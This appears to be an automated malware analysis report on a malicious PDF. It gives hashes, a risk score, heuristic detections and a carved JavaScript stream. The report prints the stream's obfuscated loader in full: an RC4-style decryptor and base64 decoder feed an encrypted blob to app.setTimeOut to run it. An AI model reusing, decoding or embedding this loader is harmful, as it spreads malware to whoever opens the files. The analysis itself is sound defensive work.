Malicious PDF — malware analysis report

Static analysis result for SHA-256 a4d1356260662b16…

MALICIOUS

PDF

5.1 KB Created: 2009-02-13 04:13:07 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 3e783c7613ad1a27c01453c455506ac5 SHA-1: b849c4961c27baecda753b3e597a1a1a9b5cc6da SHA-256: a4d1356260662b166d07045fa47c2eb042659e37285a8af16c0c263602d9bc66
134 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The embedded JavaScript stream, named 'javascript_obj0013_000.js', is likely responsible for the suspicious nature of the file. The JavaScript's purpose is not fully discernible due to potential obfuscation, but its presence strongly suggests an attempt to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function dinonen(mubodalor,tabore){var ruvila5=[],rabavisin3,rafusav1=0,rudavoba,pilineli='',kapopir;for(rabavisin3=0;rabavisin3<256;rabavisin3++){ruvila5[rabavisin3]=rabavisin3;}for(rabavisin3=0;rabavisin3<256;rabavisin3++){rafusav1=(rafusav1+ruvila5[rabavisin3]+mubodalor.charCodeAt(rabavisin3%mubodalor.length))%256;rudavoba=ruvila5[rabavisin3];ruvila5[rabavisin3]=ruvila5[rafusav1];ruvila5[rafusav1]=rudavoba;}rabavisin3=0;rafusav1=0;for(kapopir=0;kapopir<tabore.length;kapopir++){rabavisin3=(rab …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x3CE 5432 bytes
SHA-256: beb67740b964c5944ba482eca18aa31ab532c196e908d2ab4de7b2f347ac5e95
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 89 of 135 identifiers look randomly generated (e.g. 'DiNuzD4aP4PkYA09ixhXL9IrKrIRiR5saE3PaP35') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function dinonen(mubodalor,tabore){var ruvila5=[],rabavisin3,rafusav1=0,rudavoba,pilineli='',kapopir;for(rabavisin3=0;rabavisin3<256;rabavisin3++){ruvila5[rabavisin3]=rabavisin3;}for(rabavisin3=0;rabavisin3<256;rabavisin3++){rafusav1=(rafusav1+ruvila5[rabavisin3]+mubodalor.charCodeAt(rabavisin3%mubodalor.length))%256;rudavoba=ruvila5[rabavisin3];ruvila5[rabavisin3]=ruvila5[rafusav1];ruvila5[rafusav1]=rudavoba;}rabavisin3=0;rafusav1=0;for(kapopir=0;kapopir<tabore.length;kapopir++){rabavisin3=(rabavisin3+1)%256;rafusav1=(rafusav1+ruvila5[rabavisin3])%256;rudavoba=ruvila5[rabavisin3];ruvila5[rabavisin3]=ruvila5[rafusav1];ruvila5[rafusav1]=rudavoba;pilineli+=String.fromCharCode(tabore.charCodeAt(kapopir)^ruvila5[(ruvila5[rabavisin3]+ruvila5[rafusav1])%256]);}return pilineli;}var temoleme=app.setTimeOut(dinonen(mimimu3("STdxMDI3OXRMWTNJOUJxWDE1NW40TnRTTQ=="),mimimu3("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")),200);function mimimu3(fimesi){fimesi=fimesi.replace(/[^a-z0-9\+\/=]/ig,'');var dikebon2='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',sabenufito9,latever,dusede,fupuborulu,telibupu,feramutuki,fupunune,rasev=[],dovur,dovur=0;while((fimesi.length%4)!=0){fimesi+='=';}for(kadosepib=0;kadosepib<fimesi.length;kadosepib+=4){fupuborulu=dikebon2.indexOf(fimesi.charAt(kadosepib));telibupu=dikebon2.indexOf(fimesi.charAt(kadosepib+1));feramutuki=dikebon2.indexOf(fimesi.charAt(kadosepib+2));fupunune=dikebon2.indexOf(fimesi.charAt(kadosepib+3));sabenufito9=(fupuborulu<<2)|(telibupu>>4);latever=((telibupu&15)<<4)|(feramutuki>>2);dusede=((feramutuki&3)<<6)|fupunune;rasev[dovur++]=String.fromCharCode(sabenufito9);if(feramutuki!=64)rasev[dovur++]=String.fromCharCode(latever);if(fupunune!=64)rasev[dovur++]=String.fromCharCode(dusede);}return rasev.join('');}

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